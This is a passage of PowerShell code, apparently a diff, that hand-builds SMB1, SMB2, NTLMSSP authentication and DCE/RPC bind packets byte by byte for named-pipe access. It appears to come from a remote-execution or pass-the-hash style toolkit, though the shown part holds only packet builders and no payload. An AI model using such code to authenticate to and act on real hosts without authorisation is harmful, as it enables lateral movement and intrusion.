$packet_SMBNegotiateProtocolRequest.Add("RequestedDialects_Dialect_Name3",[Byte[]](0x53,0x4d,0x42,0x20,0x32,0x2e,0x3f,0x3f,0x3f,0x00)) + } + + return $packet_SMBNegotiateProtocolRequest + } + + function New-PacketSMBSessionSetupAndXRequest + { + param([Byte[]]$packet_security_blob) + + [Byte[]]$packet_byte_count = [System.BitConverter]::GetBytes($packet_security_blob.Length) + $packet_byte_count = $packet_byte_count[0,1] + [Byte[]]$packet_security_blob_length = [System.BitConverter]::GetBytes($packet_security_blob.Length + 5) + $packet_security_blob_length = $packet_security_blob_length[0,1] + + $packet_SMBSessionSetupAndXRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMBSessionSetupAndXRequest.Add("WordCount",[Byte[]](0x0c)) + $packet_SMBSessionSetupAndXRequest.Add("AndXCommand",[Byte[]](0xff)) + $packet_SMBSessionSetupAndXRequest.Add("Reserved",[Byte[]](0x00)) + $packet_SMBSessionSetupAndXRequest.Add("AndXOffset",[Byte[]](0x00,0x00)) + $packet_SMBSessionSetupAndXRequest.Add("MaxBuffer",[Byte[]](0xff,0xff)) + $packet_SMBSessionSetupAndXRequest.Add("MaxMpxCount",[Byte[]](0x02,0x00)) + $packet_SMBSessionSetupAndXRequest.Add("VCNumber",[Byte[]](0x01,0x00)) + $packet_SMBSessionSetupAndXRequest.Add("SessionKey",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMBSessionSetupAndXRequest.Add("SecurityBlobLength",$packet_byte_count) + $packet_SMBSessionSetupAndXRequest.Add("Reserved2",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMBSessionSetupAndXRequest.Add("Capabilities",[Byte[]](0x44,0x00,0x00,0x80)) + $packet_SMBSessionSetupAndXRequest.Add("ByteCount",$packet_security_blob_length) + $packet_SMBSessionSetupAndXRequest.Add("SecurityBlob",$packet_security_blob) + $packet_SMBSessionSetupAndXRequest.Add("NativeOS",[Byte[]](0x00,0x00,0x00)) + $packet_SMBSessionSetupAndXRequest.Add("NativeLANManage",[Byte[]](0x00,0x00)) + + return $packet_SMBSessionSetupAndXRequest + } + + function New-PacketSMBTreeConnectAndXRequest + { + param([Byte[]]$packet_path) + + [Byte[]]$packet_path_length = [System.BitConverter]::GetBytes($packet_path.Length + 7) + $packet_path_length = $packet_path_length[0,1] + + $packet_SMBTreeConnectAndXRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMBTreeConnectAndXRequest.Add("WordCount",[Byte[]](0x04)) + $packet_SMBTreeConnectAndXRequest.Add("AndXCommand",[Byte[]](0xff)) + $packet_SMBTreeConnectAndXRequest.Add("Reserved",[Byte[]](0x00)) + $packet_SMBTreeConnectAndXRequest.Add("AndXOffset",[Byte[]](0x00,0x00)) + $packet_SMBTreeConnectAndXRequest.Add("Flags",[Byte[]](0x00,0x00)) + $packet_SMBTreeConnectAndXRequest.Add("PasswordLength",[Byte[]](0x01,0x00)) + $packet_SMBTreeConnectAndXRequest.Add("ByteCount",$packet_path_length) + $packet_SMBTreeConnectAndXRequest.Add("Password",[Byte[]](0x00)) + $packet_SMBTreeConnectAndXRequest.Add("Tree",$packet_path) + $packet_SMBTreeConnectAndXRequest.Add("Service",[Byte[]](0x3f,0x3f,0x3f,0x3f,0x3f,0x00)) + + return $packet_SMBTreeConnectAndXRequest + } + + function New-PacketSMBNTCreateAndXRequest + { + param([Byte[]]$packet_named_pipe) + + [Byte[]]$packet_named_pipe_length = [System.BitConverter]::GetBytes($packet_named_pipe.Length) + $packet_named_pipe_length = $packet_named_pipe_length[0,1] + [Byte[]]$packet_file_name_length = [System.BitConverter]::GetBytes($packet_named_pipe.Length - 1) + $packet_file_name_length = $packet_file_name_length[0,1] + + $packet_SMBNTCreateAndXRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMBNTCreateAndXRequest.Add("WordCount",[Byte[]](0x18)) + $packet_SMBNTCreateAndXRequest.Add("AndXCommand",[Byte[]](0xff)) + $packet_SMBNTCreateAndXRequest.Add("Reserved",[Byte[]](0x00)) + $packet_SMBNTCreateAndXRequest.Add("AndXOffset",[Byte[]](0x00,0x00)) + $packet_SMBNTCreateAndXRequest.Add("Reserved2",[Byte[]](0x00)) + $packet_SMBNTCreateAndXRequest.Add("FileNameLen",$packet_file_name_length) + $packet_SMBNTCreateAndXRequest.Add("CreateFlags",[Byte[]](0x16,0x00,0x00,0x00)) + $packet_SMBNTCreateAndXRequest.Add("RootFID",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMBNTCreateAndXRequest.Add("AccessMask",[Byte[]](0x00,0x00,0x00,0x02)) + $packet_SMBNTCreateAndXRequest.Add("AllocationSize",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_SMBNTCreateAndXRequest.Add("FileAttributes",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMBNTCreateAndXRequest.Add("ShareAccess",[Byte[]](0x07,0x00,0x00,0x00)) + $packet_SMBNTCreateAndXRequest.Add("Disposition",[Byte[]](0x01,0x00,0x00,0x00)) + $packet_SMBNTCreateAndXRequest.Add("CreateOptions",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMBNTCreateAndXRequest.Add("Impersonation",[Byte[]](0x02,0x00,0x00,0x00)) + $packet_SMBNTCreateAndXRequest.Add("SecurityFlags",[Byte[]](0x00)) + $packet_SMBNTCreateAndXRequest.Add("ByteCount",$packet_named_pipe_length) + $packet_SMBNTCreateAndXRequest.Add("Filename",$packet_named_pipe) + + return $packet_SMBNTCreateAndXRequest + } + + function New-PacketSMBReadAndXRequest + { + $packet_SMBReadAndXRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMBReadAndXRequest.Add("WordCount",[Byte[]](0x0a)) + $packet_SMBReadAndXRequest.Add("AndXCommand",[Byte[]](0xff)) + $packet_SMBReadAndXRequest.Add("Reserved",[Byte[]](0x00)) + $packet_SMBReadAndXRequest.Add("AndXOffset",[Byte[]](0x00,0x00)) + $packet_SMBReadAndXRequest.Add("FID",[Byte[]](0x00,0x40)) + $packet_SMBReadAndXRequest.Add("Offset",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMBReadAndXRequest.Add("MaxCountLow",[Byte[]](0x58,0x02)) + $packet_SMBReadAndXRequest.Add("MinCount",[Byte[]](0x58,0x02)) + $packet_SMBReadAndXRequest.Add("Unknown",[Byte[]](0xff,0xff,0xff,0xff)) + $packet_SMBReadAndXRequest.Add("Remaining",[Byte[]](0x00,0x00)) + $packet_SMBReadAndXRequest.Add("ByteCount",[Byte[]](0x00,0x00)) + + return $packet_SMBReadAndXRequest + } + + function New-PacketSMBWriteAndXRequest + { + param([Byte[]]$packet_file_ID,[Int]$packet_RPC_length) + + [Byte[]]$packet_write_length = [System.BitConverter]::GetBytes($packet_RPC_length) + $packet_write_length = $packet_write_length[0,1] + + $packet_SMBWriteAndXRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMBWriteAndXRequest.Add("WordCount",[Byte[]](0x0e)) + $packet_SMBWriteAndXRequest.Add("AndXCommand",[Byte[]](0xff)) + $packet_SMBWriteAndXRequest.Add("Reserved",[Byte[]](0x00)) + $packet_SMBWriteAndXRequest.Add("AndXOffset",[Byte[]](0x00,0x00)) + $packet_SMBWriteAndXRequest.Add("FID",$packet_file_ID) + $packet_SMBWriteAndXRequest.Add("Offset",[Byte[]](0xea,0x03,0x00,0x00)) + $packet_SMBWriteAndXRequest.Add("Reserved2",[Byte[]](0xff,0xff,0xff,0xff)) + $packet_SMBWriteAndXRequest.Add("WriteMode",[Byte[]](0x08,0x00)) + $packet_SMBWriteAndXRequest.Add("Remaining",$packet_write_length) + $packet_SMBWriteAndXRequest.Add("DataLengthHigh",[Byte[]](0x00,0x00)) + $packet_SMBWriteAndXRequest.Add("DataLengthLow",$packet_write_length) + $packet_SMBWriteAndXRequest.Add("DataOffset",[Byte[]](0x3f,0x00)) + $packet_SMBWriteAndXRequest.Add("HighOffset",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMBWriteAndXRequest.Add("ByteCount",$packet_write_length) + + return $packet_SMBWriteAndXRequest + } + + function New-PacketSMBCloseRequest + { + param ([Byte[]]$packet_file_ID) + + $packet_SMBCloseRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMBCloseRequest.Add("WordCount",[Byte[]](0x03)) + $packet_SMBCloseRequest.Add("FID",$packet_file_ID) + $packet_SMBCloseRequest.Add("LastWrite",[Byte[]](0xff,0xff,0xff,0xff)) + $packet_SMBCloseRequest.Add("ByteCount",[Byte[]](0x00,0x00)) + + return $packet_SMBCloseRequest + } + + function New-PacketSMBTreeDisconnectRequest + { + $packet_SMBTreeDisconnectRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMBTreeDisconnectRequest.Add("WordCount",[Byte[]](0x00)) + $packet_SMBTreeDisconnectRequest.Add("ByteCount",[Byte[]](0x00,0x00)) + + return $packet_SMBTreeDisconnectRequest + } + + function New-PacketSMBLogoffAndXRequest + { + $packet_SMBLogoffAndXRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMBLogoffAndXRequest.Add("WordCount",[Byte[]](0x02)) + $packet_SMBLogoffAndXRequest.Add("AndXCommand",[Byte[]](0xff)) + $packet_SMBLogoffAndXRequest.Add("Reserved",[Byte[]](0x00)) + $packet_SMBLogoffAndXRequest.Add("AndXOffset",[Byte[]](0x00,0x00)) + $packet_SMBLogoffAndXRequest.Add("ByteCount",[Byte[]](0x00,0x00)) + + return $packet_SMBLogoffAndXRequest + } + + #SMB2 + + function New-PacketSMB2Header + { + param([Byte[]]$packet_command,[Byte[]]$packet_credit_request,[Int]$packet_message_ID,[Byte[]]$packet_tree_ID,[Byte[]]$packet_session_ID) + + [Byte[]]$packet_message_ID = [System.BitConverter]::GetBytes($packet_message_ID) + 0x00,0x00,0x00,0x00 + + $packet_SMB2Header = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMB2Header.Add("ProtocolID",[Byte[]](0xfe,0x53,0x4d,0x42)) + $packet_SMB2Header.Add("StructureSize",[Byte[]](0x40,0x00)) + $packet_SMB2Header.Add("CreditCharge",[Byte[]](0x01,0x00)) + $packet_SMB2Header.Add("ChannelSequence",[Byte[]](0x00,0x00)) + $packet_SMB2Header.Add("Reserved",[Byte[]](0x00,0x00)) + $packet_SMB2Header.Add("Command",$packet_command) + $packet_SMB2Header.Add("CreditRequest",$packet_credit_request) + $packet_SMB2Header.Add("Flags",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2Header.Add("NextCommand",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2Header.Add("MessageID",$packet_message_ID) + $packet_SMB2Header.Add("ProcessID",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2Header.Add("TreeID",$packet_tree_ID) + $packet_SMB2Header.Add("SessionID",$packet_session_ID) + $packet_SMB2Header.Add("Signature",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + + return $packet_SMB2Header + } + + function New-PacketSMB2NegotiateProtocolRequest + { + $packet_SMB2NegotiateProtocolRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMB2NegotiateProtocolRequest.Add("StructureSize",[Byte[]](0x24,0x00)) + $packet_SMB2NegotiateProtocolRequest.Add("DialectCount",[Byte[]](0x02,0x00)) + $packet_SMB2NegotiateProtocolRequest.Add("SecurityMode",[Byte[]](0x01,0x00)) + $packet_SMB2NegotiateProtocolRequest.Add("Reserved",[Byte[]](0x00,0x00)) + $packet_SMB2NegotiateProtocolRequest.Add("Capabilities",[Byte[]](0x40,0x00,0x00,0x00)) + $packet_SMB2NegotiateProtocolRequest.Add("ClientGUID",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_SMB2NegotiateProtocolRequest.Add("NegotiateContextOffset",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2NegotiateProtocolRequest.Add("NegotiateContextCount",[Byte[]](0x00,0x00)) + $packet_SMB2NegotiateProtocolRequest.Add("Reserved2",[Byte[]](0x00,0x00)) + $packet_SMB2NegotiateProtocolRequest.Add("Dialect",[Byte[]](0x02,0x02)) + $packet_SMB2NegotiateProtocolRequest.Add("Dialect2",[Byte[]](0x10,0x02)) + + return $packet_SMB2NegotiateProtocolRequest + } + + function New-PacketSMB2SessionSetupRequest + { + param([Byte[]]$packet_security_blob) + + [Byte[]]$packet_security_blob_length = [System.BitConverter]::GetBytes($packet_security_blob.Length) + $packet_security_blob_length = $packet_security_blob_length[0,1] + + $packet_SMB2SessionSetupRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMB2SessionSetupRequest.Add("StructureSize",[Byte[]](0x19,0x00)) + $packet_SMB2SessionSetupRequest.Add("Flags",[Byte[]](0x00)) + $packet_SMB2SessionSetupRequest.Add("SecurityMode",[Byte[]](0x01)) + $packet_SMB2SessionSetupRequest.Add("Capabilities",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2SessionSetupRequest.Add("Channel",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2SessionSetupRequest.Add("SecurityBufferOffset",[Byte[]](0x58,0x00)) + $packet_SMB2SessionSetupRequest.Add("SecurityBufferLength",$packet_security_blob_length) + $packet_SMB2SessionSetupRequest.Add("PreviousSessionID",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_SMB2SessionSetupRequest.Add("Buffer",$packet_security_blob) + + return $packet_SMB2SessionSetupRequest + } + + function New-PacketSMB2TreeConnectRequest + { + param([Byte[]]$packet_path) + + [Byte[]]$packet_path_length = [System.BitConverter]::GetBytes($packet_path.Length) + $packet_path_length = $packet_path_length[0,1] + + $packet_SMB2TreeConnectRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMB2TreeConnectRequest.Add("StructureSize",[Byte[]](0x09,0x00)) + $packet_SMB2TreeConnectRequest.Add("Reserved",[Byte[]](0x00,0x00)) + $packet_SMB2TreeConnectRequest.Add("PathOffset",[Byte[]](0x48,0x00)) + $packet_SMB2TreeConnectRequest.Add("PathLength",$packet_path_length) + $packet_SMB2TreeConnectRequest.Add("Buffer",$packet_path) + + return $packet_SMB2TreeConnectRequest + } + + function New-PacketSMB2CreateRequestFile + { + param([Byte[]]$packet_named_pipe) + + $packet_named_pipe_length = [System.BitConverter]::GetBytes($packet_named_pipe.Length) + $packet_named_pipe_length = $packet_named_pipe_length[0,1] + + $packet_SMB2CreateRequestFile = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMB2CreateRequestFile.Add("StructureSize",[Byte[]](0x39,0x00)) + $packet_SMB2CreateRequestFile.Add("Flags",[Byte[]](0x00)) + $packet_SMB2CreateRequestFile.Add("RequestedOplockLevel",[Byte[]](0x00)) + $packet_SMB2CreateRequestFile.Add("Impersonation",[Byte[]](0x02,0x00,0x00,0x00)) + $packet_SMB2CreateRequestFile.Add("SMBCreateFlags",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_SMB2CreateRequestFile.Add("Reserved",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_SMB2CreateRequestFile.Add("DesiredAccess",[Byte[]](0x03,0x00,0x00,0x00)) + $packet_SMB2CreateRequestFile.Add("FileAttributes",[Byte[]](0x80,0x00,0x00,0x00)) + $packet_SMB2CreateRequestFile.Add("ShareAccess",[Byte[]](0x01,0x00,0x00,0x00)) + $packet_SMB2CreateRequestFile.Add("CreateDisposition",[Byte[]](0x01,0x00,0x00,0x00)) + $packet_SMB2CreateRequestFile.Add("CreateOptions",[Byte[]](0x40,0x00,0x00,0x00)) + $packet_SMB2CreateRequestFile.Add("NameOffset",[Byte[]](0x78,0x00)) + $packet_SMB2CreateRequestFile.Add("NameLength",$packet_named_pipe_length) + $packet_SMB2CreateRequestFile.Add("CreateContextsOffset",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2CreateRequestFile.Add("CreateContextsLength",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2CreateRequestFile.Add("Buffer",$packet_named_pipe) + + return $packet_SMB2CreateRequestFile + } + + function New-PacketSMB2ReadRequest + { + param ([Byte[]]$packet_file_ID) + + $packet_SMB2ReadRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMB2ReadRequest.Add("StructureSize",[Byte[]](0x31,0x00)) + $packet_SMB2ReadRequest.Add("Padding",[Byte[]](0x50)) + $packet_SMB2ReadRequest.Add("Flags",[Byte[]](0x00)) + $packet_SMB2ReadRequest.Add("Length",[Byte[]](0x00,0x00,0x10,0x00)) + $packet_SMB2ReadRequest.Add("Offset",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_SMB2ReadRequest.Add("FileID",$packet_file_ID) + $packet_SMB2ReadRequest.Add("MinimumCount",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2ReadRequest.Add("Channel",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2ReadRequest.Add("RemainingBytes",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2ReadRequest.Add("ReadChannelInfoOffset",[Byte[]](0x00,0x00)) + $packet_SMB2ReadRequest.Add("ReadChannelInfoLength",[Byte[]](0x00,0x00)) + $packet_SMB2ReadRequest.Add("Buffer",[Byte[]](0x30)) + + return $packet_SMB2ReadRequest + } + + function New-PacketSMB2WriteRequest + { + param([Byte[]]$packet_file_ID,[Int]$packet_RPC_length) + + [Byte[]]$packet_write_length = [System.BitConverter]::GetBytes($packet_RPC_length) + + $packet_SMB2WriteRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMB2WriteRequest.Add("StructureSize",[Byte[]](0x31,0x00)) + $packet_SMB2WriteRequest.Add("DataOffset",[Byte[]](0x70,0x00)) + $packet_SMB2WriteRequest.Add("Length",$packet_write_length) + $packet_SMB2WriteRequest.Add("Offset",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_SMB2WriteRequest.Add("FileID",$packet_file_ID) + $packet_SMB2WriteRequest.Add("Channel",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2WriteRequest.Add("RemainingBytes",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2WriteRequest.Add("WriteChannelInfoOffset",[Byte[]](0x00,0x00)) + $packet_SMB2WriteRequest.Add("WriteChannelInfoLength",[Byte[]](0x00,0x00)) + $packet_SMB2WriteRequest.Add("Flags",[Byte[]](0x00,0x00,0x00,0x00)) + + return $packet_SMB2WriteRequest + } + + function New-PacketSMB2CloseRequest + { + param ([Byte[]]$packet_file_ID) + + $packet_SMB2CloseRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMB2CloseRequest.Add("StructureSize",[Byte[]](0x18,0x00)) + $packet_SMB2CloseRequest.Add("Flags",[Byte[]](0x00,0x00)) + $packet_SMB2CloseRequest.Add("Reserved",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2CloseRequest.Add("FileID",$packet_file_ID) + + return $packet_SMB2CloseRequest + } + + function New-PacketSMB2TreeDisconnectRequest + { + $packet_SMB2TreeDisconnectRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMB2TreeDisconnectRequest.Add("StructureSize",[Byte[]](0x04,0x00)) + $packet_SMB2TreeDisconnectRequest.Add("Reserved",[Byte[]](0x00,0x00)) + + return $packet_SMB2TreeDisconnectRequest + } + + function New-PacketSMB2SessionLogoffRequest + { + $packet_SMB2SessionLogoffRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMB2SessionLogoffRequest.Add("StructureSize",[Byte[]](0x04,0x00)) + $packet_SMB2SessionLogoffRequest.Add("Reserved",[Byte[]](0x00,0x00)) + + return $packet_SMB2SessionLogoffRequest + } + + #NTLM + + function New-PacketNTLMSSPNegotiate + { + param([Byte[]]$packet_negotiate_flags,[Byte[]]$packet_version) + + [Byte[]]$packet_NTLMSSP_length = [System.BitConverter]::GetBytes(32 + $packet_version.Length) + $packet_NTLMSSP_length = $packet_NTLMSSP_length[0] + [Byte[]]$packet_ASN_length_1 = $packet_NTLMSSP_length[0] + 32 + [Byte[]]$packet_ASN_length_2 = $packet_NTLMSSP_length[0] + 22 + [Byte[]]$packet_ASN_length_3 = $packet_NTLMSSP_length[0] + 20 + [Byte[]]$packet_ASN_length_4 = $packet_NTLMSSP_length[0] + 2 + + $packet_NTLMSSPNegotiate = New-Object System.Collections.Specialized.OrderedDictionary + $packet_NTLMSSPNegotiate.Add("InitialContextTokenID",[Byte[]](0x60)) + $packet_NTLMSSPNegotiate.Add("InitialcontextTokenLength",$packet_ASN_length_1) + $packet_NTLMSSPNegotiate.Add("ThisMechID",[Byte[]](0x06)) + $packet_NTLMSSPNegotiate.Add("ThisMechLength",[Byte[]](0x06)) + $packet_NTLMSSPNegotiate.Add("OID",[Byte[]](0x2b,0x06,0x01,0x05,0x05,0x02)) + $packet_NTLMSSPNegotiate.Add("InnerContextTokenID",[Byte[]](0xa0)) + $packet_NTLMSSPNegotiate.Add("InnerContextTokenLength",$packet_ASN_length_2) + $packet_NTLMSSPNegotiate.Add("InnerContextTokenID2",[Byte[]](0x30)) + $packet_NTLMSSPNegotiate.Add("InnerContextTokenLength2",$packet_ASN_length_3) + $packet_NTLMSSPNegotiate.Add("MechTypesID",[Byte[]](0xa0)) + $packet_NTLMSSPNegotiate.Add("MechTypesLength",[Byte[]](0x0e)) + $packet_NTLMSSPNegotiate.Add("MechTypesID2",[Byte[]](0x30)) + $packet_NTLMSSPNegotiate.Add("MechTypesLength2",[Byte[]](0x0c)) + $packet_NTLMSSPNegotiate.Add("MechTypesID3",[Byte[]](0x06)) + $packet_NTLMSSPNegotiate.Add("MechTypesLength3",[Byte[]](0x0a)) + $packet_NTLMSSPNegotiate.Add("MechType",[Byte[]](0x2b,0x06,0x01,0x04,0x01,0x82,0x37,0x02,0x02,0x0a)) + $packet_NTLMSSPNegotiate.Add("MechTokenID",[Byte[]](0xa2)) + $packet_NTLMSSPNegotiate.Add("MechTokenLength",$packet_ASN_length_4) + $packet_NTLMSSPNegotiate.Add("NTLMSSPID",[Byte[]](0x04)) + $packet_NTLMSSPNegotiate.Add("NTLMSSPLength",$packet_NTLMSSP_length) + $packet_NTLMSSPNegotiate.Add("Identifier",[Byte[]](0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00)) + $packet_NTLMSSPNegotiate.Add("MessageType",[Byte[]](0x01,0x00,0x00,0x00)) + $packet_NTLMSSPNegotiate.Add("NegotiateFlags",$packet_negotiate_flags) + $packet_NTLMSSPNegotiate.Add("CallingWorkstationDomain",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_NTLMSSPNegotiate.Add("CallingWorkstationName",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + + if($packet_version) + { + $packet_NTLMSSPNegotiate.Add("Version",$packet_version) + } + + return $packet_NTLMSSPNegotiate + } + + function New-PacketNTLMSSPAuth + { + param([Byte[]]$packet_NTLM_response) + + [Byte[]]$packet_NTLMSSP_length = [System.BitConverter]::GetBytes($packet_NTLM_response.Length) + $packet_NTLMSSP_length = $packet_NTLMSSP_length[1,0] + [Byte[]]$packet_ASN_length_1 = [System.BitConverter]::GetBytes($packet_NTLM_response.Length + 12) + $packet_ASN_length_1 = $packet_ASN_length_1[1,0] + [Byte[]]$packet_ASN_length_2 = [System.BitConverter]::GetBytes($packet_NTLM_response.Length + 8) + $packet_ASN_length_2 = $packet_ASN_length_2[1,0] + [Byte[]]$packet_ASN_length_3 = [System.BitConverter]::GetBytes($packet_NTLM_response.Length + 4) + $packet_ASN_length_3 = $packet_ASN_length_3[1,0] + + $packet_NTLMSSPAuth = New-Object System.Collections.Specialized.OrderedDictionary + $packet_NTLMSSPAuth.Add("ASNID",[Byte[]](0xa1,0x82)) + $packet_NTLMSSPAuth.Add("ASNLength",$packet_ASN_length_1) + $packet_NTLMSSPAuth.Add("ASNID2",[Byte[]](0x30,0x82)) + $packet_NTLMSSPAuth.Add("ASNLength2",$packet_ASN_length_2) + $packet_NTLMSSPAuth.Add("ASNID3",[Byte[]](0xa2,0x82)) + $packet_NTLMSSPAuth.Add("ASNLength3",$packet_ASN_length_3) + $packet_NTLMSSPAuth.Add("NTLMSSPID",[Byte[]](0x04,0x82)) + $packet_NTLMSSPAuth.Add("NTLMSSPLength",$packet_NTLMSSP_length) + $packet_NTLMSSPAuth.Add("NTLMResponse",$packet_NTLM_response) + + return $packet_NTLMSSPAuth + } + + #RPC + + function New-PacketRPCBind + { + param([Int]$packet_call_ID,[Byte[]]$packet_max_frag,[Byte[]]$packet_num_ctx_items,[Byte[]]$packet_context_ID,[Byte[]]$packet_UUID,[Byte[]]$packet_UUID_version) + + [Byte[]]$packet_call_ID_bytes = [System.BitConverter]::GetBytes($packet_call_ID) + + $packet_RPCBind = New-Object System.Collections.Specialized.OrderedDictionary + $packet_RPCBind.Add("Version",[Byte[]](0x05)) + $packet_RPCBind.Add("VersionMinor",[Byte[]](0x00)) + $packet_RPCBind.Add("PacketType",[Byte[]](0x0b)) + $packet_RPCBind.Add("PacketFlags",[Byte[]](0x03)) + $packet_RPCBind.Add("DataRepresentation",[Byte[]](0x10,0x00,0x00,0x00)) + $packet_RPCBind.Add("FragLength",[Byte[]](0x48,0x00)) + $packet_RPCBind.Add("AuthLength",[Byte[]](0x00,0x00)) + $packet_RPCBind.Add("CallID",$packet_call_ID_bytes) + $packet_RPCBind.Add("MaxXmitFrag",[Byte[]](0xb8,0x10)) + $packet_RPCBind.Add("MaxRecvFrag",[Byte[]](0xb8,0x10)) + $packet_RPCBind.Add("AssocGroup",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_RPCBind.Add("NumCtxItems",$packet_num_ctx_items) + $packet_RPCBind.Add("Unknown",[Byte[]](0x00,0x00,0x00)) + $packet_RPCBind.Add("ContextID",$packet_context_ID) + $packet_RPCBind.Add("NumTransItems",[Byte[]](0x01)) + $packet_RPCBind.Add("Unknown2",[Byte[]](0x00)) + $packet_RPCBind.Add("Interface",$packet_UUID) + $packet_RPCBind.Add("InterfaceVer",$packet_UUID_version) + $packet_RPCBind.Add("InterfaceVerMinor",[Byte[]](0x00,0x00)) + $packet_RPCBind.Add("TransferSyntax",[Byte[]](0x04,0x5d,0x88,0x8a,0xeb,0x1c,0xc9,0x11,0x9f,0xe8,0x08,0x00,0x2b,0x10,0x48,0x60)) + $packet_RPCBind.Add("TransferSyntaxVer",[Byte[]](0x02,0x00,0x00,0x00)) + + if($packet_num_ctx_items[0] -eq 2) + { + $packet_RPCBind.Add("ContextID2",[Byte[]](0x01,0x00)) + $packet_RPCBind.Add("NumTransItems2",[Byte[]](0x01)) + $packet_RPCBind.Add("Unknown3",[Byte[]](0x00)) + $packet_RPCBind.Add("Interface2",[Byte[]](0xc4,0xfe,0xfc,0x99,0x60,0x52,0x1b,0x10,0xbb,0xcb,0x00,0xaa,0x00,0x21,0x34,0x7a)) + $packet_RPCBind.Add("InterfaceVer2",[Byte[]](0x00,0x00)) + $packet_RPCBind.Add("InterfaceVerMinor2",[Byte[]](0x00,0x00)) + $packet_RPCBind.Add("TransferSyntax2",[Byte[]](0x2c,0x1c,0xb7,0x6c,0x12,0x98,0x40,0x45,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_RPCBind.Add("TransferSyntaxVer2",[Byte[]](0x01,0x00,0x00,0x00)) + } + elseif($packet_num_ctx_items[0] -eq 3) + { + $packet_RPCBind.Add("ContextID2",[Byte[]](0x01,0x00)) + $packet_RPCBind.Add("NumTransItems2",[Byte[]](0x01)) + $packet_RPCBind.Add("Unknown3",[Byte[]](0x00)) + $packet_RPCBind.Add("Interface2",[Byte[]](0x43,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46)) + $packet_RPCBind.Add("InterfaceVer2",[Byte[]](0x00,0x00)) + $packet_RPCBind.Add("InterfaceVerMinor2",[Byte[]](0x00,0x00)) + $packet_RPCBind.Add("TransferSyntax2",[Byte[]](0x33,0x05,0x71,0x71,0xba,0xbe,0x37,0x49,0x83,0x19,0xb5,0xdb,0xef,0x9c,0xcc,0x36)) + $packet_RPCBind.Add("TransferSyntaxVer2",[Byte[]](0x01,0x00,0x00,0x00)) + $packet_RPCBind.Add("ContextID3",[Byte[]](0x02,0x00)) + $packet_RPCBind.Add("NumTransItems3",[Byte[]](0x01)) + $packet_RPCBind.Add("Unknown4",[Byte[]](0x00)) + $packet_RPCBind.Add("Interface3",[Byte[]](0x43,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46)) + $packet_RPCBind.Add("InterfaceVer3",[Byte[]](0x00,0x00)) + $packet_RPCBind.Add("InterfaceVerMinor3",[Byte[]](0x00,0x00)) + $packet_RPCBind.Add("TransferSyntax3",[Byte[]](0x2c,0x1c,0xb7,0x6c,0x12,0x98,0x40,0x45,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_RPCBind.Add("TransferSyntaxVer3",[Byte[]](0x01,0x00,0x00,0x00)) + $packet_RPCBind.Add("AuthType",[Byte[]](0x0a)) + $packet_RPCBind.Add("AuthLevel",[Byte[]](0x04)) + $packet_RPCBind.Add("AuthPadLength",[Byte[]](0x00)) + 